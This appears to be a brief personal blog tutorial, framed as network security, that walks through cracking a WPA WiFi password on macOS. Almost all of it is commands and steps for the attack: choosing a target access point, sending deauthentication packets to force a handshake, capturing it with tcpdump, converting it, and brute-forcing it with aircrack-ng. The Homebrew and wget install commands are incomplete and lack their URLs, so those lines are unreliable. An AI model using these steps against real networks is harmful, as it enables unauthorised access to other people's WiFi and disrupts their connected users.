Cracking WiFi

Secure your network by knowing how someone may hack your WiFi with MacOS.


Cracking wifi with MacOS

Installing requirements

  1. Install Homebrew ruby -e "$(curl -fsSL"
  2. Install cap2hccapx from JamWiFi wget gcc -o cap2hccapx cap2hccapx.c sudo mv cap2hccapx /usr/local/bin/cap2hccapx rm cap2hccapx.c
  3. Build with make the src folder of hashcat-utils and copy cap2hccapx.bin to your working directory.
  4. Install aircrack-ng brew install aircrack-ng
  5. Add aircrack-ng to path
  6. Add airport to path sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Start cracking

  1. Open JamWiFi. Press Scan.
  2. Choose target. The less RRSSI, the better signal it has. (Ex. -54 is better than -74).
  3. Copy the BSSID and CHANNEL of the selected target Access Point. (Change the data between <>, with these characters included, for the correct data.) export BSSID=<TARGET-BSSID> export CHANNEL=<TARGET-CHANNEL>
  4. Disconnect from the wifi you are connected to, without disabling it. Use sudo airport -z
  5. sudo airport -c$CHANNEL
  6. Capture the bacon sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon.cap
  7. Capture handshake sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake.cap
  8. On JamWiFi choose the target and press Deauth, press Monitor, wait for some Packets to load and then Do it!. When you get ~50 Deauths press Done.
  9. CTRL+C on the Terminal to terminate the capturing of handshake.
  10. Merge the Beacon and Handshake mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap
  11. Convert cap to hccapx cap2hccapx capture.cap capture.hccapx If it says 'Written 0 WPA Handshakes to: capture.hccapx', try again to capture
  12. Starting brute force with wordlist. Change last data with path to your wordlist file. aircrack-ng -1 -a 1 -b $BSSID capture.hccapx -w <wordlist>



Alan Becker Capuyá

From ONG's to enrepeneurism, in love with tech and innovation, I'm looking to be part of the social revolution seeking a better world.